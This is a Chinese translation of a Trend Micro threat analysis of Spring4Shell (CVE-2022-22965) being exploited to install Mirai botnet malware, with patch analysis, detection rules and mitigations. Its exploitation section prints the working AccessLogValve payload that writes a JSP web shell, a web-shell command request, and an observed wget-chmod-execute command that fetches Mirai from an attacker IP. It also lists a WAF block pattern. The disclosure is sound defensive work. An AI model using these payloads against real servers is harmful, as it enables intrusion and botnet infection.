趨勢科技發現駭客正積極利用 Spring Framework 的 CVE-2022-22965 漏洞來下載 Mirai 殭屍網路惡意程式。
趨勢科技威脅研究中心 Trend Micro Threat Research 觀察到駭客正積極利用 Spring4Shell 漏洞 ( CVE-2022-22965) 來下載 Mirai 殭屍網路惡意程式到系統上執行。駭客在成功漏洞攻擊之後,會下載 Mirai 到「/tmp」資料夾,然後利用「chmod」指令來將檔案變更成可執行檔,接著便加以執行。
我們從 2022 年 4 月初開始看到這波惡意活動,此外我們也發現惡意程式的檔案伺服器上還有針對其他 CPU 架構的變種。
本文討論我們對此惡意程式所做的漏洞攻擊分析以及如何修補此漏洞,並說明此漏洞對真實世界應用程式的潛在風險。最後,我們也提供了一些防範這些風險的建議。
何謂 Spring Framework?
Spring Framework 是一種企業級 Java 應用程式所使用的程式開發框架,此框架完整支援了所謂的「模型、檢視、控制器」(Model-View-Controlle,簡稱 MVC) 應用程式開發方法,此方法可減少手動撰寫一堆設定,並提升記憶體使用效率。此外,也藉由一些通用的設計元素來讓程式碼更容易重複利用,也更容易維護。
Spring Framework 是 Spring 生態系的一環,還包含了針對雲端、資料、安全等等的其他元件。
CVE-2022-22965 與 CVE-2022-22963 有何不同?
目前 Spring Framework 有兩個漏洞可以讓駭客用來發動遠端程式碼執行 (RCE) 攻擊。表 1 列出這兩個漏洞的主要差異:
CVE-2022-22963 | CVE-2022-22965 |
Spring Cloud Function 本地端資源暴露漏洞。 | 在非預設情況下,可能讓駭客在 Spring Core 應用程式中發動 RCE 攻擊。 |
有修補更新可用:是。 | 有修補更新可用:是 (參見本文後面「可用的修補更新與防範方法」一節)。 |
CVSS Base 評分 (CVSS 3.x):9.8 (重大) 但還不及 CVE-2022-22965 來得嚴重。 | CVSS Base 評分 (CVSS 3.x):9.8 (重大)。 |
影響 Spring Cloud Function 3.1.6、3.2.2 與一些已終止支援且使用路由功能的舊版本。 | 影響任何在非預設情況下使用 Spring Core 的 Java 應用程式。 |
受影響的相依元件、軟體與版本
截至本文撰稿為止,絕大部分含有漏洞的應用程式都採用以下組態與相依元件:
- Spring Framework 5.2.20 以前的版本、5.3.18 版,還有 Java Development Kit (JDK) 第 9 版或更新版本。
- Apache Tomcat。
- 使用到 Spring-webmvc 或 spring-webflux。
- 使用 Spring 參數綁定 (parameter binding) 功能並使用非基本類型的參數,如 Plain Old Java Objects (POJO)。
- 可部署,並包裝成網頁應用程式壓縮檔 (WAR)。
- 可寫入的檔案目錄,如「webapps/ROOT」目錄。
此漏洞是怎麼來的?
基本上,之所以會產生這個漏洞,是因為特殊物件 (special object) 或類別 (class) 在某些條件下暴露在外。經常有一些請求參數會綁定至 POJO 物件卻未使用 @RequestBody 標註 (為了方便從 HTTP 請求中讀取參數)。此時類別變數會含有一個參照 (reference) 指向對應 HTTP 參數的 POJO 物件。
駭客可在 HTTP 請求當中透過類別參數來存取某物件,駭客也可經由類別參數來存取物件的所有子屬性 (child property)。也就是說,他們只需透過層層的親屬關係,就能存取系統上各種其他重要物件。
在 Spring Core 當中,「class.classLoader」和「class.protectionDomain」原本就有一套邏輯機制來防止駭客存取類別物件的子屬性。但這套邏輯不夠周延,所以事實上可以透過「class.module.classLoader」選擇器 (selector) 來避開這項機制。
修補更新分析
Spring Framework 目前已經釋出修補更新,我們在後面會提供修補更新與防範方法的相關細節。
這一節,我們要分析修補更新較為特殊的地方。
如前面提到,「class.classLoader」和「class.protectionDomain」的邏輯機制不夠周延,因此才導致 Spring Framework 出現漏洞。為了解決這問題,子屬性的存取邏輯在修補後的新版本當中已經改良,目前只允許使用「name」的類別屬性,並且不再允許綁定 ClassLoader 和 ProtectionDomain 類型。
有關修補更新的細節請參考 此處說明。
漏洞攻擊分析
這一節,我們將試圖解釋為何駭客只需透過層層的親屬關係就能取得系統上各種重要物件的存取權限。
駭客只要能取得類別變數及其所有子屬性的存取權限,就能改變網頁應用程式的行為。他們很熟悉如何利用暴露在外的物件,並已開發出多項技巧來攻擊這類漏洞。
例如,駭客可存取 Apache Tomcat 中的 AccessLogValve 這個物件,並使用「class.module.classLoader.resources.context.parent.pipeline.firstpath」類別變數作為攻擊工具,作法是修改 AccessLogValve 的屬性 (如:pattern、suffix、directory 和 prefix) 來讓存取記錄檔寫入一個網站指令介面檔 (web shell) 到網站根目錄 (web root)。
以下說明實際作法:
第 1 階段
發送內含「burp suite」或「curl」的特製封包。
Sample Host = (http://{victim IP}:8080/)
如圖 4 所示,第一階段的惡意內容只須單一請求就能完整傳送,無需使用不同的標頭,詳細說明請參閱這份漏洞攻擊公開程式碼。這份漏洞攻擊概念驗證程式碼另一個值得注意的地方是它利用了 Tomcat 將輸入的記錄檔格式化後提供給已部署應用程式的功能,請看第 2 階段的說明。
第 2 階段
在將第一階段的惡意內容解碼之後,我們得到以下參數和數值:
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
當伺服器處理完這個請求之後,會在伺服器的目錄內建立一個「tomcatwar.jsp」檔案,我們從第一階段的請求當中就可以看到這串字。
以下是五個被修改的 屬性:
1.Pattern:這是用來讀取請求中的內容欄位或寫入回覆內容時所用到的欄位格式。此處可以看到它如何從標頭 (Header) 讀取「c2」、「c1」和「suffix」欄位,它會使用標頭中的欄位來帶入 %{name_of_header}i 格式中。
class.module.classLoader.resources.context.parent.pipeline.first.pattern=%{c2}i if(“j”.equals(request.getParameter(“pwd”))){ java.io.InputStream in = %{c1}i.getRuntime().exec(request.getParameter(“cmd”)).getInputStream(); int a = -1; byte[] b = new byte[2048]; while((a=in.read(b))!=-1){ out.println(new String(b)); } } %{suffix}i
2.Suffix:這是每個記錄檔名稱的副檔名,此處產生的檔案,其副檔名是「.jsp」。
class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
3.Directory:檔案要產生在哪個目錄下 (絕對或相對路徑)。此處的路徑是「webapps/ROOT」,因為這是 Tomcat 預設的安裝路徑。
class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT
4.Prefix:這是加入每個記錄檔開頭的一串字,此處所加入的字串是「tomcatwar」。
class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar
5. fileDateFormat:此欄位用來在記錄檔名稱中加入自訂時間戳記。此處為空白,因為它不希望產生的 JSP webshell 變成其他副檔名,也不想要使用預設的時間戳記格式。
class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=
第 3 階段
上傳好這個 JSP web shell 之後,駭客就能從遠端在伺服器上執行任意指令,例如以下這道指令:
- · (http://{victim IP}:8080/tomcatwar[.]jsp?pwd=j&cmd=whoami)
漏洞若不修補將帶來什麼風險?
這個 RCE 漏洞能讓駭客擁有受害裝置的完整存取權限,所以是個危險的重大漏洞,駭客可利用 RCE 攻擊來達成各種目的,相較於其他漏洞攻擊手法,RCE 可讓駭客達成以下目的:
- 建立一條突破裝置防線的路徑,接下來就能安裝惡意程式或達成其他目的。
- 提供一個管道來散播資料竊取程式並將資料外傳,或者讓駭客執行一些指令來安裝資料竊取程式。
- 發動阻斷服務攻擊,讓系統或系統上的其他應用程式無法運作。
- 在受害裝置上植入並執行挖礦程式。
- 植入勒索病毒,將檔案加密或將系統鎖住,以便向受害者勒索贖金。
最早發現的攻擊案例
我們的誘捕網路最早在 2022 年 3 月 31 日經由 C1WS 的 IPS 規則 1006015 偵測並記錄到駭客 HTTP 請求中的「class.classLoader」。
IPS rule: 1006015 – Restrict Apache Struts “class.classLoader” Request
。
此外,我們前一陣子針對該漏洞所釋出的 IPS 規則也出現了觸發事件:
IPS rule: 1011372 – Spring Framework “Spring4Shell” Remote Code Execution Vulnerability (CVE-2022-22965)
此次是在駭客試圖發送惡意內容來攻擊此漏洞時所觸發。
當有駭客試圖攻擊漏洞失敗時,就會看到這個記錄檔檢查觸發事件。因為它試圖要產生的記錄檔是一個 web shell (shell.jsp) 檔案,這違反了 Tomcat ROOT 目錄的權限設定。像這樣的事件就是一種指標,可幫助威脅分析師發現企業可能遭到駭客攻擊的狀況。
如同圖 8 所示,這個記錄檔檢查觸發事件是因為有漏洞攻擊失敗而造成,而由於「shell.jsp」檔案並未成功產生,因此檔案就不存在,所以記錄檔內才會出現「java.io.FileNotFoundException」例外狀況的記錄。
駭客正積極攻擊此漏洞
我們發現有駭客正積極利用 Spring4Shell 漏洞在受害的伺服器上執行 Mirai 殭屍網路惡意程式,尤其是新加坡境內。
其 Mirai 惡意程式是下載到「/tmp」資料夾,然後利用「chmod」指令來變更檔案權限,讓它變成可執行檔。駭客發動攻擊的請求內容與指令解碼之後如下:
- http://{victim IP}:9090/tomcatwar[.]jsp?pwd=j&cmd=cd%20/tmp;%20wget%20http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNN
aaaa.x86;chmod%20777%20*;./KKveTTgaAAsecNNaaaa.x86%20mSpring[.]x86 - cd /tmp; wget http://45[.]95[.]169[.]143/The420smokeplace.dns/KKveTTgaAAsecNNaaaa.x86;chmod 777 *;./KKveTTgaAAsecNNaaaa.x86 mSpring[.]x86
- http://45[.]95[.]169[.]143/The420smokeplace[.]dns/KKveTTgaAAsecNNaaaa.x86
我們在 2022 年 4 月初時發現其樣本。同時,我們也發現惡意程式的檔案伺服器上還有針對其他 CPU 架構的變種。
「wget.sh」腳本會從惡意伺服器下載執行檔並執行所有版本的變種,相容的就會正常執行,不相容的就不會執行,檔案執行之後就會從磁碟刪除。
Trend Micro Vision One™
此處,我們可從威脅追蹤畫面看到來自趨勢科技不同模組與產品的觸發事件,這裡可以檢視每個重要事件的嚴重性,然後到 Vision One Workbench 當中進一步查看觸發事件。
這個 Workbench 畫面是由 Trend Micro Cloud One™ – Network Security 產生,畫面上可看到 Network Security 如何幫企業偵測及防範駭客試圖攻擊漏洞,進而保護企業虛擬私有雲 (VPC) 上部署的雲端工作負載。此處我們可以看到 IP 位址「10.10.10.176」的端點裝置如何受到入侵防護規則「Spring Core Code Execution Vulnerability」的保護。
這個 Workbench 畫面用很簡易的方式來顯示駭客複雜的攻擊模式。此處我們可看到來自 Network Security 的 IPS 規則觸發事件,Network Security 防止了某個 VPC 上含有漏洞的 EC2 執行個體受到攻擊。從這個 Workbench 我們可以看到 Trend Micro Cloud One™ – Workload Security 和 Network Security 會共同運作。
我們也收到來自 Network Security 的 IPS 觸發事件,從一開始就偵測到有駭客試圖攻擊漏洞。接著,我們會看到 Workload Security 的 IPS 規則「Identified Suspicious Command Injection」產生的觸發事件。隨後,我們看到駭客執行其他指令,憑著這一點,威脅分析師就能斷定漏洞已經攻擊成功,因為駭客接著便執行「curl」或「wget」來下載惡意程式,並且利用「chmod」變更其權限之後加以執行。
此外,衝擊範圍資訊 (impact scope) 有助於評估其他出現類似漏洞攻擊指標的工作負載,這些指標包括:處理程序、檔案、網路活動、執行的指令等等。這個集中檢視展現了將各種不同產品的偵測資訊整合至單一畫面的強大之處。
這個 Workbench 畫面可用來查看來自 Workload Security 的 IPS 觸發事件,接著會看到指令注入 (Command Injection) 網路流量,然後是 Spring Core RCE IPS 規則觸發事件。圖中的箭頭用來顯示 IP 位址與端點之間的交互關係。
這個 Workbench 觸發事件畫面可以看到 Workload Security 不同模組的運作,此外也可看到第一個 IPS 觸發事件。緊接著,我們看到有一個對外連線至某知名的虛擬加密貨幣挖礦池。這個事件是來自 Activity Monitoring (活動監控) 模組,這模組專門負責記錄檔案、網路與處理程序的活動。
Vision One Workbench 可協助分析師濾掉環境中的雜訊。在趨勢科技威脅專家的協助下,再加上他們細心建立的規則,企業就能防範各式各樣的網路攻擊。
可用的修補更新與防範方法
Spring 目前已針對此漏洞釋出了修補更新,完整內容請參閱 此處。
我們呼籲企業盡速採取以下措施:
- 將 Spring Framework 升級至 5.3.18+ 或 5.2.20+ 版本。
- 將 Spring Boot 升級至 2.6.6+ 或 2.5.12+ 版本。
但在升級前的這段期間,企業可先採取以下方法來降低此漏洞的相關風險:
- 在網站應用程式防火牆上建立一個攔截清單來攔截含有以下內容的字串:「class.*」、「Class.*」、「*.class.*」、「*.Class.*」。
- 降級至較低的 JDK 版本 (如第 8 版) 也許會有點幫助,但這可能影響到應用程式的功能,而且還得面對一些舊版本原本存在但新版已經修正的漏洞。
趨勢科技的防護與調查功能
趨勢科技已針對旗下產品釋出了各種規則來偵測及防範這項漏洞。這些都能提供額外的防護來偵測此威脅相關的惡意元件。
Workload Security 和 Deep Security IPS 規則
- Rule 1011372 – Spring Framework “Spring4Shell” Remote Code Execution Vulnerability (CVE-2022-22965)
Network Security 和 TippingPoint 過濾規則
- Filter 41108: HTTP: Spring Core Code Execution Vulnerability
趨勢科技 Deep Discovery™ Inspector 網路內容檢查規則
- Rule 3320: HTTP_SPRING4SHELL_RCE_EXPLOIT_REQUEST_BETA
- Rule 3321: HTTP_POSSIBLE_JAVA_CLASSLOADER_RCE_EXPLOIT_REQUEST_BETA
入侵指標 (IoC)
完整的入侵指標 (IoC) 清單請參考這份文字檔。
◼原文出處:CVE-2022-22965: Analyzing the Exploitation of Spring4Shell Vulnerability in Weaponizing and Executing the Mirai Botnet Malware 作者:Deep Patel、Nitesh Surana、Ashish Verma